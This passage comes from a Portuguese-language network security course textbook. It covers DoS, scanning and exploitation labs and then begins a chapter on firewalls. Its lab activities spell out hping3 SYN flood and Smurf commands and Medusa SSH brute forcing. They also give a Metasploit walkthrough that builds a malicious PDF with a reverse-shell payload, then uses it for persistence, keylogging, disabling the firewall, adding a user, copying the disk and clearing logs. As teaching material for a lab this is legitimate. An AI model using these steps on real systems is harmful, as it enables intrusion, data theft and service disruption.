Capítulo 2 - Explorando vulnerabilidades em redes

tcpdump, utilize o comando:

35

Simulando um ataque Smurf Nesse ataque será utilizado o comando hping para enviar pacotes ICMP Echo Request para o endereço de broadcast da rede. Assim, todas as máquinas responderão para o endereço de origem especificado no pacote que deve estar alterado para o endereço-alvo (Spoofing). Para que o ataque seja efetivo, a proteção contra ICMP Echo Request para endereço de broadcast deve estar desabilitada em todas as máquinas do laboratório. Para desativar essa proteção nas máquinas Linux, use o seguinte comando:

# echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts Após liberar a resposta para ICMP Echo Request para o endereço de broadcast da rede, inicie tcpdump ou Wireshark em um terminal separado, para verificar o andamento do ataque com o comando:

# tcpdump -i INTERFACE host IP_DO_ALVO -n Digite o seguinte comando para iniciar o ataque:

# hping3 END_BROADCAST_REDE --icmp --faster -a IP_ALVO O comando acima vai enviar pacotes ICMP Echo Request para o endereço de broadcast da rede do laboratório, no modo mais rápido possível (um pacote a cada 1 microssegundo), com endereço de origem alterado para IP_ALVO (Spoofing). Os alunos devem verificar no tcpdump os pacotes de ICMP Echo Reply que estão sendo enviados para o alvo do ataque. O tamanho do pacote ICMP Echo Request enviado ainda pode ser aumentado para fortalecer o ataque. Assim, a banda do alvo será rapidamente consumida pelos pacotes de ICMP Echo Reply.

# hping3 END_BROADCAST_REDE --icmp --faster -a IP_ALVO -d 1000 Neste tópico foram abordados alguns ataques conhecidos em redes TCP/IP. Existe ainda uma série de outros ataques conhecidos, como: ARP poison, connection hijacking, sequence prediction attack, buffer overflow, fraggle e race condition, entre outros. Os documentos a seguir fornecem mais informações caso tenha interesse em se aprofundar no assunto: 11 Técnicas adotadas pelos crackers para entrar em redes corporativas, de Cristiano Gerlach, Rede Nacional de Ensino e Pesquisa (RNP). 11 Introduction to TCP/IP Network Attacks (Introdução aos ataques a redes TCP) de Guang Yang, Department of Computer Science, Iowa State University. 11 Attack Lab: Attacks on TCP/IP Protocols (Laboratório de ataques: ataques a protocolos TCP/IP) de Wenliang Du, Syracuse University.

Segurança de Redes e Sistemas

Exploit Exploit significa literalmente “explorar”, sendo uma palavra usada para se referir a pequenos códigos de programas para explorar falhas de segurança causadas por erros de programação. Um exploit é uma ferramenta de segurança com o objetivo de explorar uma vulnerabilidade de um sistema. Há alguns anos atrás, para que um usuário pudesse testar um sistema ou rede, ele necessitaria escrever um código específico para isso. Hoje, exploits são diariamente criados e divulgados pela comunidade hacker. Embora agressores ainda criem novos ataques e os usem em segredo, a nova tendência é de crescimento no compartilhamento de informações sobre vulnerabilidades e seus respectivos exploits, o que pode ser, dependendo do ponto de vista, bom e ruim. 36

w O site www.powertech. no/smurf lista algumas redes que aceitam ICMP Echo Request para o endereço de broadcast e podem ser utilizadas como amplificadores para ataques Smurf. No site também é possível verificar se a sua rede está vulnerável a esse tipo de ataque.

Metasploit O Metasploit é um framework específico para testes de penetração. É uma ferramenta bastante utilizada, visto que possui diversos plugins para exploração de vulnerabilidades de forma simples, que são atualizados constantemente. Criado em 2003 pelo desenvolvedor HD Moore, o metasploit foi concebido em forma de um framework para comunidade de segurança com o objetivo de desenvolvimento de exploit. Basicamente, um framework é uma estrutura de apoio que funciona como uma abstração entre vários projetos de software para funções genéricas. Tipicamente inclui programas de apoio, bibliotecas e uma linguagem de script, entre outros softwares para ajudar a desenvolver e unir diferentes componentes de um projeto. O Metasploit pode ser utilizado de três formas distintas:

q

11 No modo console, através do comando msfconsole. 11 No modo web, através do comando msfweb. Nesse modo é criado um servidor web na porta 55555, que pode ser acessado com um browser comum, através do endereço http://127.0.0.1:55555. 11 No modo gráfico, através do comando msfgui.

Exercício de fixação 5 e Alguns tipos de ataque Explique o que vem a ser um exploit.

O que é e o que faz um metasploit?

Neste curso, usaremos a versão web. Na aba Exploits, podemos buscar as vulnerabilidades que desejamos avaliar. Na imagem abaixo, selecionamos uma vulnerabilidade no componente Samba, presente no sistema operacional MAC OS X. Note que a versão web descreve a vulneuma vulnerabilidade específica. O passo seguinte é escolher um Target, que corresponde a um tipo de exploração que será realizado. No caso abaixo, o único tipo disponível é o Stack brute force, que tentará um ataque de força bruta na pilha do processo vulnerável.

Capítulo 2 - Explorando vulnerabilidades em redes

rabilidade e oferece uma série de referências para o analista procurar mais informações sobre

37

Em seguida, iremos escolher o tipo de payload usado, que determinará o que o Metasploit tentará conseguir na máquina remota. Entre as possibilidades, podemos obter um acesso ao console na máquina através de uma porta específica ou conectar de volta na máquina do

Segurança de Redes e Sistemas

atacante, ofertando um acesso remoto.

38

Por fim, escolhemos os parâmetros específicos para esse tipo de vulnerabilidade. No caso, o endereço IP do destino, a porta de destino e a porta local. Temos ainda alguns parâmetros avançados, onde podemos escolher o endereço local do cliente, configurações de Proxy, parâmetros específicos do Samba, entre outros.

Ao clicar no botão Launch exploit, estaremos fazendo o Metasploit tentar explorar a vulnerabilidade em questão, e em caso de sucesso, obter acesso remoto privilegiado. Veja que o Metasploit efetivamente realiza um ataque ao servidor remoto, de modo que não deve ser usado em servidores que não estejam sob a administração ou controle do usuário da ferramenta. Usando Metasploit em modo console O mfsconsole é o Metasploit em modo console e uma forma mais flexível de se utilizar o framework. Para iniciar o Metasploit, digite no shell:

# msfconsole

msf > Inicialmente, dentro do console do Metasploit, podemos verificar quais exploits temos à disposição com o comando:

msf >show exploits Neste ponto, devemos informar o tipo de exploit que usaremos com o comando use:

msf > use windows/smb/ms08_067_netapi msf wins_ms08_067_netapi > Dentro do exploit, podemos ver seus atributos exigidos com o comando show options:

msf wins_ms08_067_netapi > show options

Capítulo 2 - Explorando vulnerabilidades em redes

Serão apresentados os cursos abaixo:

39

Name

Current Setting Required Description

-------- --------------- -------- ----------RHOST



yes

The target address

RPORT

445

yes

Set the SMB service port

SMBPIPE

BROWSER

yes

The pipe name to use (BROWSER)

Explot Target: Neste caso, o exploit aceita as opções de Remote Host, Remote port e SMBPIPE. Para configurar essas opções, utilize o comando set:

msf wins_ms08_067_netapi > set RHOST 200.126.35.34 RHOST -> 200.130.26.34 msf wins_ms08_067_netapi > set RPORT 445 RPORT -> 445 O próximo passo é configurar o payload, que nada mais é do que uma parte do software que permite o controle do sistema-alvo após ser explorado. Nesse caso o exploit transporta o payload para ser utilizado quando a falha do sistema é explorada. Um dos payloads mais utilizados é o meterpreter. Com ele podemos ativar coisas interessantes no computador remoto, como, por exemplo, fazer upload e download de arquivos, tirar screenshots e recolher hashes de senhas. Pode-se até mesmo controlar a tela, usando mouse e teclado para usar completamente o computador. Com o comando show payloads verificamos os payloads suportados pelo exploit selecionado:

msf wins_ms08_067_netapi > show payloads O payload selecionado para este exemplo é “vnc inject reverse tcp”:

msf wins_ms08_067_netapi > set PAYLOAD windows/vncinject/reverse_ tcp payload -> windows/vncinject/reverse_tcp msf wins_ms08_067_netapi > Com o comando show targets podemos visualizar quais sistemas operacionais são vulneráveis a esse exploit:

Segurança de Redes e Sistemas

msf wins_ms08_067_netapi > show targets

40

Supported Exploit Targets ========================= Windows XP SP3 Portuguese - Brasilian (NX) msf wins_ms04_045 > Neste caso podemos verificar que os sistemas operacionais Windows XP SP2 e SP3 de diversos idiomas são vulneráveis a esse exploit:

msf wins_ms08_067_netapi > set TARGET 56 TARGET -> 56 msf wins_ms08_067_netapi > Pronto para finalizar:

msf wins_ms08_067_netapi > exploit Neste momento o exploit entrará em execução no IP alvo informado anteriormente. Se a vulnerabilidade estiver aberta, será apresentada uma resposta informando que a operação obteve sucesso. Esse ataque pode ser automatizado dentro do metasploit com o comando msfcli. No caso do ataque informado acima, poderíamos automatizá-lo com a seguinte linha de comando:

[root]#./msfcli wins_ms08_067_netapi RHOST=200.130.26.34 RPORT=445 PAYLOAD=windows/vncinject/reverse_tcp TARGET=56 E

Backtrack O Backtrack é um sistema operacional Linux voltado para a área de segurança, principalmente para testes de penetração. É uma distribuição muito difundida pelos profissionais de segurança, não necessita de instalação física na máquina e pode rodar diretamente do CD. Contando com mais de 300 ferramentas diferentes, entre elas o próprio Metasploit, é considerada a ferramenta mais completa do mercado para testes de segurança e penetração baseada em software livre. As ferramentas hackers do Backtrack podem ser acessadas pelo menu Applications > Backtrack. São divididas em 10 categorias diferentes, como veremos a seguir. Information Gathering Ferramentas para obter informações sobre redes, aplicações web, análise de banco de dados e análise de redes wireless. Exemplos: 11 Dnsdict6 – utilitário usado para enumerar um domínio para entradas DNS IPv6. 11 Dnsmap – utilitário usado para criar listas de hosts de registros DNS para um domínio. Vulnerability Assessment

dados, tais como scanners. Exemplos: 11 OpenVAS – estrutura de vários serviços e ferramentas que oferecem uma abrangente e poderosa solução de varredura de vulnerabilidades. 11 Mantra – coleção de ferramentas de código livre integrado a um navegador web. Exploitation Tools Ferramentas para exploração de vulnerabilidades em redes, sistemas web, banco de dados, sistemas wireless e ferramentas de engenharia social. Exemplos: 11 Metasploit Framework – framework utilizado para explorar vulnerabilidades em sistemas computacionais. 11 Air Crack – ferramenta utilizada para descobrir chaves WEP e WPA em sistemas Wireless.

Capítulo 2 - Explorando vulnerabilidades em redes

Ferramentas para avaliação de vulnerabilidades em redes, aplicações web e bancos de

41

Privilege Escalation Ferramentas para elevação de privilégios, como: ferramentas de ataque para quebra de senhas, ferramentas para análise de protocolos (em especial protocolos de rede e VoIP) e ferramentas de Spoofing Attacks. Exemplos: 11 hexinject – capaz de capturar pacotes em uma rede para obtenção de informações e injeção de pacotes modificados. 11 Medusa e Hydra – ferramentas para ataques de força bruta em logins. 11 Hashcat e John the riper – programa para recuperação de senhas. Maintaining Acces Uma vez dentro de uma rede, um atacante necessita manter seu acesso sempre disponível para garantir o seu retorno de forma segura (sem ser detectado). Esse conjunto de programas possibilita, por exemplo, a criação de backdoors, ferramentas de tunelamento de conexões e ferramentas de backdoor via web. Exemplos: 11 cymothoa – ferramenta capaz de injetar shellcode backdoor em um processo existente. 11 Stunnel4 – túnel criptográfico SSL para interligação cliente/servidor. 11 Weevely – script em python para gerar uma backdoor PHP criptografada. Reverse Engineering Ferramentas de engenharia reversa com destaque para o programa strace, que monitora chamadas de sistema (system calls) e os sinais recebidos pela aplicação. Exemplos: 11 ollydbg – depurador de análise assembler com ênfase em código binário. 11 Strace – utilitário de depuração para Linux que pode imprimir uma lista de chamadas de sistemas feitas pelo programa. RFID Tools Ferramentas RFID para obtenção de informações em equipamentos identificadores de Radio Frequência (Radio-Frequency Identification). Exemplos: 11 Brute Force hitag2 – programa de força bruta capaz de capturar dados em etiquetas RFID padrão HITAG. 11 Brute Force MIFARE – programa de força bruta capaz de capturar dados em dispositivos de acesso por proximidade e cartões inteligentes. Stress Testing Programas especialistas em testes de estresse em redes de computadores e sistemas VOIP. Essas ferramentas são capazes de criar verdadeiras inundações de pacotes em uma rede. Segurança de Redes e Sistemas

Exemplos:

42

11 Hping – programa para a criação de pacotes TCP/IP, pode ser utilizado com ICMP, TCP e UDP e é amplamente utilizado para ataques do tipo negação de serviço. 11 Letdown – outra ferramenta muito eficiente para ataques DoS.rtpflood – programa para inundar telefones ips com pacotes UDP contendo dados RTP. 11 IAXflood – ferramenta para criar inundação de pacotes utilizada em redes com protocolo IAX, que é usado pelo PABX asterisk.

Forensics Ferramentas de perícia forense, tais como programas para detectar rootkits, obter informações sobre dados armazenados desde uma rede até a memória RAM do computador. Exemplos: 11 Sleuthkit – capaz de analisar e recuperar informações em diversos tipos de partições. 11 Chkrootkit – utilitário capaz de varrer um computador atrás de programas rootkits instalados. 11 DFF (Digital Foresics Framework) – pacote de ferramentas open source modular que inclui utilitários para recuperação de dados, pesquisa de provas e análises. Reporting Tools Ferramentas geradoras de relatórios sobre evidências e captura de dados feita por programas de perícia forense. Exemplos: 11 Recordmydesktop – programa para capturar e filmar o desktop do usuário. 11 Dradis – utilitário de ajuda no processo de testes de penetração. Utiliza uma metodologia de compartilhamento de informações minimizando oportunidades de perda de infor-

Capítulo 2 - Explorando vulnerabilidades em redes

mação e sobreposição de esforços.

43

44

Segurança de Redes e Sistemas

Roteiro de Atividades 2 Atividade 1 – Realizando ataques de protocolos Nesta primeira atividade prática, o objetivo é identificar e compreender ataques DOS e fazer a análise com um sniffer (Wireshark e/ou tcpdump) para interpretar o modo como os pacotes são elaborados para o respectivo ataque DOS. 1º Ataque: Synflood Como já tratado na parte teórica deste curso, esse ataque consiste em enviar uma enxurrada de pacotes com a flag SYN ativa, utilizando a ferramenta hping3. Para isso, é necessário que você desative a proteção contra SYN Flooding do kernel de todas as máquinas virtuais Linux. Para desabilitar a proteção, use o seguinte comando (executar como root):

echo 0 > /proc/sys/net/ipv4/tcp_syncookies Agora inicie a captura de pacotes na máquina FWGW1-G, que será nossa máquina-alvo. No exemplo abaixo estamos utilizando o tcpdump para essa atividade. Nossa máquina atacante será a máquina virtual LinServer-G.

Instale o tcpdump na máquina alvo: # apt-get install tcpdump Após a instalação execute: # tcpdump -i eth1 -n Instale na máquina atacante o programa hping3 # apt-get install hping3 Por fim, execute a partir da estação Linux atacante o seguinte comando para iniciar o ataque (executar como root):

hping3 172.16.G.1 -p 22 -S --flood --rand-source

O comando acima envia pacotes TCP com a flag SYN ativada (-S), para a porta do serviço SSH (-p 22), na maior velocidade possível e alterando o endereço de origem aleatoriamente (--rand-source).

Observe que na captura do tcpdump estão chegando pedidos de conexão de diferentes origens (todas inválidas). 2º Ataque: Smurf Como já tratado na parte teórica deste curso, esse ataque consiste no envio de pacotes ICMP Echo Request para o endereço de broadcast de uma rede desprotegida. Assim, todas as máquinas responderão para o endereço de origem especificado no pacote que deve estar alterado para o endereço alvo (Spoofing). Para que o ataque seja efetivo, a proteção

Capítulo 2 - Roteiro de Atividades

Para finalizar a execução do hping3 e do tcpdump, basta digitar CTRL+C.

45

contra ICMP Echo Request para endereço de broadcast deve estar desabilitada em todas as máquinas Linux. Para desabilitar a proteção, use o seguinte comando (executar como root):

echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts Agora inicie a captura de pacotes no FWGW1-G. Nossa máquina-alvo será o servidor WinServer-G e o atacante continuará sendo o LinServer-G

# tcpdump -i eth1 -n Por fim, execute a partir da estação Linux atacante o seguinte comando para iniciar o ataque: (EXECUTAR COMO ROOT). Troque o pelo endereço de broadcast da rede, no nosso caso 172.16.G.255

Hping3 172.16.G.255 --icmp --flood -a 172.16.G.20 O comando acima vai enviar pacotes ICMP Echo Request para o endereço de broadcast da rede do laboratório, no modo mais rápido possível, com endereço de origem alterado para IP_ALVO (Spoofing). Os alunos devem verificar no tcpdump os pacotes de ICMP Echo Reply enviados para o alvo do ataque. O tamanho do pacote ICMP Echo Request enviado ainda pode ser aumentado para dar maior força ao ataque. Assim, a banda do alvo será rapidamente consumida pelos pacotes de ICMP Echo Reply.

hping --icmp --faster -a -d 1000

Atividade 2 – Levantando os serviços da máquina alvo com Nmap O objetivo desta atividade é entender o funcionamento do Nmap. Para executar esta atividade instale na máquina Windows 2008 o Wireshark e desative o firewall do Windows. A partir de uma máquina Linux, realize o port scan padrão na máquina Windows 2008.

# nmap -v 172.16.G.20 Agora vamos explorar outros modos de funcionamento do Nmap. Teste os modos stealth e acompanhe o andamento da varredura de portas através do Wireshark. Procure entender o que está acontecendo e a diferença entre os dois comandos executados, para comprovar os conceitos do material teórico.

# nmap -sF 172.16.G.20 # nmap -sN 172.16.G.20 # nmap -sX 172.16.G.20 Outra funcionalidade do Nmap é o OS Fingerprinting. Realize essa verificação na máquina

Segurança de Redes e Sistemas

virtual Windows 2008 e em uma máquina virtual Linux. Combine essa opção com outras ofe-

46

recidas pela ferramenta. Use o Wireshark para verificar a troca de pacotes neste processo.

# nmap -O 172.16.G.20 # nmap -A 172.16.G.20 Agora vamos realizar um ataque utilizando o Nmap em modo decoy contra a máquina virtual Windows 2008. Capture os pacotes usando o Wireshark e analise-os. Procure identificar a origem do ataque.

# nmap –v –sV –O –D 101.102.103.104 172.16.G.20

Atividade 3 – Realizando um ataque com Metasploit Nessa atividade iremos executar uma série de comandos utilizando o metasploit disponível na máquina virtual BackTrack. Inicie essa máquina virtual e, paralelamente, acesse a interface gráfica do servidor Windows 2008. Nesse servidor, desative o firewall e instale o Adobe Reader versão 9.3.4. Embora essa seja uma versão antiga do Adobe Reader, o objetivo desta atividade é demonstrar duas coisas: primeiro, o poder da ferramenta Metasploit, e, segundo, que não devemos instalar em servidores programas desnecessários, como visualizadores de PDF. Esse ataque consiste em dois passos: 1º passo: gerar um arquivo PDF para explorar a falha de segurança do Adobe Reader. Acesse o shell do BackTrack e digite:

#msfconsole msf >

use exploit/windows/fileformat/adobe_cooltype_sing

msf exploid(adobe_cooltype_sing)> set PAYLOAD windows/meterpreter/ reverse_tcp Podemos alterar o nome do arquivo a ser gerado para um nome mais amigável.

msf exploid(adobe_cooltype_sing)> set FILENAME naoclick.pdf msf exploid(adobe_cooltype_sing)> set LHOST 172.16.G.30 msf exploid(adobe_cooltype_sing)> set LPORT 4444 msf exploid(adobe_cooltype_sing)> show options msf exploid(adobe_cooltype_sing)> exploit msf exploid(adobe_cooltype_sing)> quit

Será gerado um arquivo em /root/.msf4/local/naoclick.pdf. Abra outra janela do shell e copie o arquivo gerado para /var/www:

# mv /root/.msf4/local/naoclick.pdf /var/www * renomeie o arquivo /var/www/index.html para index.txt * Inicie o servidor apache

2º passo: escutar na porta informada no passo anterior para estabelecer uma conexão com a máquina-alvo. Para isso, abra outra janela de shell e digite:

# msfconsole msf > search cool msf > use exploit/multi/handler msf exploid(handler) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploid(handler) > show options

Capítulo 2 - Roteiro de Atividades

# /etc/init.d/apache2 start

47

msf exploid(handler) > set LHOST 172.16.G.30 msf exploid(handler) > set LPORT 4444 msf exploid(handler) > exploit [*] Started reverse handler on 172.16.G.30 [*] Starting the payload handler... Neste momento, o Backtrack está esperando uma conexão na porta informada, neste caso a porta 4444. A máquina-alvo deverá abrir o navegador e informar no campo endereço o IP do Backtrack. Serão listados os arquivos da pasta /var/www. Clique com o botão direito no arquivo naoclick.pdf e salve na área de trabalho. Após esse procedimento, clique duas vezes no arquivo (poderá aparecer uma tela de aceite dos termos da Adobe, clique em accept). Enquanto o arquivo é carregado, verificamos na máquina atacante que uma sessão foi estabelecida. A partir desse momento já estamos com acesso à máquina-alvo. Para manter a conexão aberta, mesmo que o alvo seja reiniciado, digite:

meterpreter > run persistence -X Será instalado um script dentro da máquina-alvo e bastará apenas que o usuário faça login novamente para estabelecer a conexão, não precisando mais que o alvo abra o arquivo PDF.

Comando meterpreter Procure entender o que cada linha de comando abaixo realiza, e tenha paciência. Lembre-se de que você está explorando vulnerabilidades, e de que é comum que alguns alunos não consigam completar essa atividade. Promovendo privilégios

meterpreter > getuid meterpreter > use priv meterpreter > getsystem meterpreter > getuid

Levantando informações

meterpreter > sysinfo meterpreter > run get_env meterpreter > run get_application_list

Desativando firewall

meterpreter > shell C:\Windows\System32> netsh firewall set opmode disable C:\Windows\System32> exit

Segurança de Redes e Sistemas

Capturando tela

48

meterpreter > getpid meterpreter > ps meterpreter > use -l meterpreter > use espia meterpreter > screenshot meterpreter > screengrab

Ativando keylogger

meterpreter > keyscan_start meterpreter > keyscan_dump meterpreter > keyscan_stop

Enumerando informações

meterpreter > run winenum meterpreter > run scraper (copiar entradas do registro) meterpreter > run prefetchtool

Injetando informações nos arquivos de hosts do Windows

meterpreter > edit c:\\Windows\\System32\\drivers\\etc\\hosts

Realizando varredura na rede do alvo

meterpreter > run arp_scanner -i

Criando usuário

meterpreter > shell

meterpreter > run arp_scanner -r

C:\Windows\System32> net user marcos changeme /add C:\Windows\System32> net user C:\Windows\System32> exit Baixando o HD da máquina alvo

meterpreter > download -r c:\\

Enviando arquivo para o alvo

meterpreter > upload /root/tcpdump.exe c:\\windows\\System32 meterpreter > shell meterpreter > tcpdump -w saida.pcap meterpreter > ps meterpreter > kill NUMERO_PROCESSO meterpreter > download c:\\saida.pcap meterpreter > clearev

Atividade 4 – Realizando um ataque de dicionário com o Medusa Vamos implementar um ataque de força bruta ao serviço SSH utilizando o Medusa. Para tal, escolha uma máquina virtual Linux para ser o alvo. Na máquina-alvo (FWGW1-G), crie um usuário chamado marcelo com a senha 123456 e outro chamado marco com a senha abacate. Também na máquina alvo monitore o arquivo de logo com o comando:

# tail -f /var/log/auth.log Na máquina virtual Backtrack execute o comando abaixo para identificar os módulos instalados no Medusa:

# medusa –d Agora vamos levantar o Banner (informação sobre a versão do SSH) implementado na máquina-alvo. A partir do Backtrack, execute:

# nc 172.16.G.1 22 A resposta deve ser algo como:

SSH-2.0-OpenSSH_5.1p1 Debian-5

Capítulo 2 - Roteiro de Atividades

Apagando rastro

49

Crie um arquivo de texto chamado usuários.txt contendo, em cada linha, o nome dos usuários que você acredita que existam no alvo. Para esta atividade insira, em cada linha, os nomes: root, marcelo e marco. Crie um arquivo texto chamado senhas.txt. Neste arquivo serão inseridas, em cada linha, as senhas que serão utilizadas no nosso ataque de dicionário. Para esta atividade não se esqueça de inserir os textos 123456 e abacate. Agora vamos realizar o ataque de força bruta SSH contra o alvo. Execute o seguinte comando:

# medusa –M ssh –m BANNER:SSH-2.0-OpenSSH_5.1p1 -h 172.16.G.1 –U usuarios.txt –P senhas.txt | grep SUCCESS Acesse o console da máquina-alvo e observe as tentativas de acesso utilizando o Medusa.

Segurança de Redes e Sistemas

Não se esqueça de trocar o BANNER pela versão instalada na máquina-alvo.

50

3 Apresentar técnicas e tecnologias para proteção de perímetro em redes, compreender as técnicas de proteção de perímetro, posicionar firewalls em uma rede e criar uma zona desmilitarizada (DMZ) para prover serviços públicos.

conceitos

Topologias e tecnologias de firewall, proteção de perímetro em redes e zona desmilitarizada (DMZ), entre outros.

Introdução Um firewall pode ser definido como uma combinação de componentes (hardware, software e redes) com o objetivo de proteger informações entre uma rede privada e a internet ou outras redes. É importante frisar que um firewall não corresponde a uma “caixa preta”, que ligada a uma rede provê segurança instantânea. Para ter um firewall eficiente, é preciso que ele seja configurado corretamente, possua bons recursos implementados e esteja corretamente posicionado na rede em questão. Durante este capítulo e o próximo, esses conceitos serão aprofundados. Em linhas gerais, um firewall possui os seguintes objetivos:

q

11 Restringir a entrada de tráfego em um ponto único e controlado. 11 Impedir que atacantes consigam chegar em suas defesas mais internas. 11 Restringir a saída de tráfego em um ponto único e controlado. No item seguinte, veremos algumas vulnerabilidades comuns encontradas em redes. Essas vulnerabilidades podem ou não ser mitigadas por um firewall, dependendo dos seus recursos.

Exercício de nivelamento 1 e Firewall O que você entende por firewall?

Como um firewall pode ser eficiente?

Capítulo 3 - Explorando vulnerabilidades em redes

objetivos

Firewall – Conceitos e Implementação

51

Firewall Um firewall consiste em uma técnica de segurança de redes bastante efetiva. O seu nome vem das portas corta-fogo (firewalls) utilizadas em edifícios para conter o fogo de um possível incêndio, de modo que ele não se espalhe para o resto do prédio. Pode ser definido como um componente ou conjunto de componentes que restringem acesso entre uma rede protegida e a internet, ou entre outros conjuntos de redes. Na prática, podemos pensar num firewall como uma forma de limitar a exposição da sua rede à internet, mantendo suas funcionalidades para os usuários. O firewall serve a múltiplos propósitos:

q

11 Restringir a entrada de tráfego em um ponto único e controlado. 11 Impedir que os atacantes consigam chegar em suas defesas mais internas. 11 Restringir a saída de tráfego em um ponto único e controlado. Quando falamos de estratégias de segurança, a respeito de ponto único e defesa em profundidade, não podemos considerar um firewall simplesmente como uma “caixa preta” ou um “produto de prateleira”, apesar do que pregam os vendedores de produtos de segurança. Um firewall deve ser visto como uma combinação de componentes (hardware, software e redes) com o objetivo de proteger informações entre uma rede privada e a internet ou outras redes. Sendo assim, não adianta comprar um produto em uma loja e ligá-lo na rede. Um firewall, para ser efetivo, necessita de planejamento e que seja definida uma topologia, onde ele esteja no meio das conexões que se deseja proteger. Além da topologia, um firewall consiste em uma série de tecnologias, como filtros de pacotes, NAT e servidores proxy. A seguir vamos discutir em detalhes essas topologias e tecnologias.

Tecnologias de firewall 11 Filtros de pacotes.

q

11 Filtros de pacote dinâmicos. 11 Servidores proxy. 11 NAT.

Filtros de pacotes A funcionalidade mais básica que um firewall pode oferecer é chamada de filtro de pacotes, mecanismo de segurança de rede que permite o controle dos dados que entram, saem ou passam pelo ponto de proteção. Um filtro de pacote é capaz de decidir sobre a passagem ou não de um pacote, de acordo com as informações encontradas no cabeçalho IP. Usualmente,

Segurança de Redes e Sistemas

os filtros de pacotes agem sobre os seguintes campos de um pacote IP: 11 Endereço IP de origem (nível de rede). 11 Endereço IP de destino (nível de rede). 11 Porta de origem (nível de transporte). 11 Porta de destino (nível de transporte). 11 Flags do cabeçalho TCP (SYN e ACK). Alguns filtros de pacotes mais avançados podem agir sobre outros campos do pacote, como endereços físicos (MAC Address), outras flags (ex.: RST), campos de fragmentação de pacotes, entre outros. Na verdade, um filtro de pacotes pode usar qualquer campo de qual52

quer um dos cabeçalhos do pacote. Usualmente, um filtro de pacotes não realiza decisões com base no conteúdo (dados) dos pacotes, uma vez que analisar o conteúdo do pacote pode ser dispendioso e tornar o processo de roteamento mais lento. Apesar disso, existem ferramentas que usam esse recurso, como o l7filter. A sintaxe de comandos de um filtro de pacotes depende da ferramenta utilizada; porém, em linhas gerais, a forma de definir as regras é muito semelhante. No capítulo seguinte serão vistos alguns exemplos do uso de ferramentas de filtros de pacotes. Como exemplo, vamos imaginar que estamos querendo definir uma regra de filtragem que irá bloquear todos os pacotes provenientes da estação A (endereço IP 192.168.1.1) para o servidor B (endereço IP 192.168.1.2), na porta 110, utilizando o protocolo de transporte TCP. Relembrando os conceitos de TCP/IP, quando iniciamos uma conexão TCP, o remetente escolhe uma porta de origem que não esteja em uso, a partir da porta 1024. Sendo assim, podemos definir a seguinte regra: Descartar se IP_ORIGEM=192.168.1.1, IP_DESTINO=192.168.1.2, PORTA_ORIGEM >= 1024 e PORTA_DESTINO = 143. No caso, estamos usando uma sintaxe fictícia. Todos os pacotes que se enquadrem na regra acima serão automaticamente descartados. Os filtros de pacotes normalmente definem ainda uma ação padrão, caso não haja nenhuma regra indicando o que fazer com o pacote. Essa ação padrão se refere à estratégia de segurança denominada Atitude de Bloqueio Padrão e Permissão Padrão. Caso seja escolhida a atitude de bloqueio padrão, todos os pacotes que não estiverem explicitamente permitidos por alguma regra serão bloqueados e vice-versa. Lembre-se de que a atitude de bloqueio padrão é mais segura do que a de permissão padrão.

Filtros de pacote dinâmicos Considerando o exemplo anterior, imagine que agora necessitamos liberar o tráfego com destino à porta 143 TCP do servidor. Nesse caso, não basta apenas trocar a palavra DESCARTAR por ACEITAR. Em uma conexão TCP, temos uma série de pacotes, indo e voltando do servidor. Sendo ainda mais minimalista (lembre-se da estratégia de menor privilégio), temos de verificar se o pacote se refere ao início de uma conexão, a uma resposta do servidor ou a uma conexão já estabelecida. Dessa forma, podemos mudar nosso exemplo, que vai conter as seguintes regras para permitir todos os três pacotes referentes ao three way handshake do protocolo TCP: 11 Aceitar se IP_ORIGEM=192.168.1.1, IP_DESTINO=192.168.1.2, PORTA_ORIGEM >= 1024, 11 Aceitar se IP_ORIGEM=192.168.1.2, IP_DESTINO=192.168.1.1, PORTA_ORIGEM = 143, PORTA_DESTINO >= 1024 e flags SYN e ACK ligadas (retorno do servidor). 11 Aceitar se IP_ORIGEM=192.168.1.1, IP_DESTINO=192.168.1.2, PORTA_ORIGEM >= 1024, PORTA_DESTINO = 143 e flag ACK ligada. A partir desse exemplo podemos perceber que em um ambiente mais complexo a quantidade de regras aumentará bastante, tornando o ambiente complicado para gerenciar. Do ponto de vista do administrador de segurança, na grande maioria dos casos, ele apenas quer decidir se vai permitir ou bloquear uma determinada conexão. Pensando nisso, foram criados os filtros de pacotes dinâmicos, também chamados de stateful inspection, stateful firewall ou Stateful Packet Inspection (SPI). Nesse caso, o próprio filtro de pacotes mantém informações sobre o estado das conexões e permite automaticamente todos os pacotes relacionados, de modo que o administrador necessita apenas especificar a regra do primeiro pacote e indicar que os pacotes relacionados serão automaticamente aceitos.

Capítulo 3 - Firewall – Conceitos e Implementação

PORTA_DESTINO = 143 e flag SYN ligada (início da conexão).

53

Alguns filtros de pacotes dinâmicos tratam ainda de protocolos de aplicação, cuja conexão é mais complexa, como, por exemplo, FTP e H.323, cuja liberação utilizando os filtros de

FTP

pacotes comuns se tornaria complicada e provavelmente iria aceitar muito mais pacotes do

File Transfer Protocol é um protocolo de transferência de arquivos na internet.

que o necessário, por conta do comportamento dinâmico desses protocolos. Recentemente, alguns fabricantes têm anunciado firewalls UTM (Unified Threat Manager), que são firewalls com diversos recursos integrados, também chamados de firewalls all-in-one (tudo em um). Esses produtos normalmente integram uma série de recursos, como antivírus, anti-spam, VPN, filtros de conteúdo e balanceamento de carga, entre outros.

Servidores proxy Servidores proxy são servidores que acessam algum serviço da internet em nome de uma estação cliente, que solicita o acesso ao proxy. Um proxy pode atuar no nível de aplicação

H.323

proxy H.323 etc.) ou no nível de transporte, onde há um proxy genérico para conexões TCP

Protocolo de transmissão de áudio e vídeo na internet.

e UDP (ex.: Socks).

Socks

(mais comum), onde para cada aplicação há um proxy diferente (ex.: proxy HTTP, proxy FTP,

Os proxies de aplicação possuem a vantagem de entender o protocolo de aplicação, de modo que eles são capazes de prover registros detalhados sobre os acessos realizados, além de permitir o controle de acesso através de parâmetros de aplicação, como bloquear o acesso a arquivos executáveis em conexões HTTP, controle impossível de ser realizado apenas com filtros de pacotes. Por outro lado, a aplicação em questão deve estar ciente da existência do Proxy para realizar o acesso normalmente através de um parâmetro de

Protocolo da internet que permite que aplicações cliente-servidor usem transparentemente o serviço de uma rede ao firewall. O termo Socks vem da abreviação de sockets.

